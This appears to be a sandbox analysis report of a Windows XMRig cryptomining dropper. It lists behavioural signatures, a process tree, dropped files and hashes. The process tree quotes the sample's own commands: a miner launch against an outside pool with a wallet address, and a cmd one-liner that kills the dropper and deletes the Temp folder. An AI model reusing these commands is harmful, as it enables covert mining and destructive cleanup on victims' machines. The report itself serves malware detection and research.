Analysis

  • max time kernel
    135s
  • max time network
    148s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    30/09/2026, 08:58

General

  • Target
    ddf0665a78cc558a6ec18662f9534dfeb4b84dd54ce3d920a979d87ed8895527.exe
  • Size 1.1MB
  • Sample260930-kxczssbc53
  • SHA256 ddf0665a78cc558a6ec18662f9534dfeb4b84dd54ce3d920a979d87ed8895527
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Executes dropped EXE 3 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Drops file in Windows directory 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Kills process with taskkill 1 IoCs
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ddf0665a78cc558a6ec18662f9534dfeb4b84dd54ce3d920a979d87ed8895527.exe
    "C:\Users\Admin\AppData\Local\Temp\ddf0665a78cc558a6ec18662f9534dfeb4b84dd54ce3d920a979d87ed8895527.exe"
    1⤵
    • Drops file in Windows directory
    • System Location Discovery: System Language Discovery
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:3696
    • C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SareicahUI.exe
      C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SareicahUI.exe
      2⤵
      • Executes dropped EXE
      • Drops file in Windows directory
      • Reads the TCP/IP host and domain name from the registry
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2876
      • C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\rar.exe
        "rar.exe" x -iext -ow -o+ "hao1151_2.rar" "C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets"
        3⤵
        • Executes dropped EXE
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        PID:4376
      • C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SaericahUI.exe
        SaericahUI.exe --algorithm pearlhash --pool stratum+ssl://4.hao1151.com:18013 --wallet prl1phs6s7m983309a6pz7qdreq8x6usschwxc5ujalp0lzvzyptjghlsc52549.SER4
        3⤵
        • Executes dropped EXE
        PID:4136
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c set
          4⤵
          • Executes a command shell one-liner
          PID:3052
    • C:\Windows\SysWOW64\cmd.exe
      cmd /c taskkill /f /pid 3696 &ping 127.0.0.1 -n 1 &rd /s /q C:\Users\Admin\AppData\Local\Temp
      2⤵
      • Executes a command shell one-liner
      • System Location Discovery: System Language Discovery
      • System Network Configuration Discovery: Internet Connection Discovery
      • Suspicious use of WriteProcessMemory
      PID:696
      • C:\Windows\SysWOW64\taskkill.exe
        taskkill /f /pid 3696
        3⤵
        • System Location Discovery: System Language Discovery
        • Kills process with taskkill
        • Suspicious use of AdjustPrivilegeToken
        PID:5796
      • C:\Windows\SysWOW64\PING.EXE
        ping 127.0.0.1 -n 1
        3⤵
        • System Location Discovery: System Language Discovery
        • System Network Configuration Discovery: Internet Connection Discovery
        • Runs ping.exe
        PID:3448

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        SareicahUI.exe

        • Path C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\SareicahUI.exe
        • Size 2.6MB
        • SHA256 9c22edef196f3dc8793c67112620aa81d833b36eaef3700c95a437c7948b41f3
        • MD5 SHA1 SHA512 SSDEEP TLSH

        hao1151_2.exe

        • Path C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\hao1151_2.exe
        • Size 31.3MB
        • SHA256 224f882da1c5e000dec7350225746e32c7ff7edd7265ad4ff879b8295ba9c192
        • MD5 SHA1 SHA512 SSDEEP TLSH

        hao1151_2.rar

        • Path C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\hao1151_2.rar
        • Size 33.1MB
        • SHA256 8ee2f5147fc1268e9dc9220f7ed5261519ace8139b646e25ca47faf8fd00a8d1
        • MD5 SHA1 SHA512 SSDEEP TLSH

        rar.exe

        • Path C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\rar.exe
        • Size 551KB
        • SHA256 06159de0077f8a7f03eeccc3bbd499d6941476b4a0d2e164b94e01e89907ce9a
        • MD5 SHA1 SHA512 SSDEEP TLSH

        xmr.exe

        • Path C:\Windows\SystemApps\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Assets\xmr.exe
        • Size 6.2MB
        • SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/3696-9-0x0000000000400000-0x000000000078C000-memory.dmp

        memory/3696-0-0x0000000000400000-0x000000000078C000-memory.dmp

        memory/3696-1-0x000000000078B000-0x000000000078C000-memory.dmp

        memory/4136-29-0x00007FF679FF0000-0x00007FF67D282000-memory.dmp

        memory/4136-30-0x00007FF679FF0000-0x00007FF67D282000-memory.dmp

        memory/4136-32-0x00007FF679FF0000-0x00007FF67D282000-memory.dmp

        memory/4136-31-0x00007FF679FF0000-0x00007FF67D282000-memory.dmp

        memory/4136-33-0x00007FF679FF0000-0x00007FF67D282000-memory.dmp

        memory/4136-44-0x00007FF679FF0000-0x00007FF67D282000-memory.dmp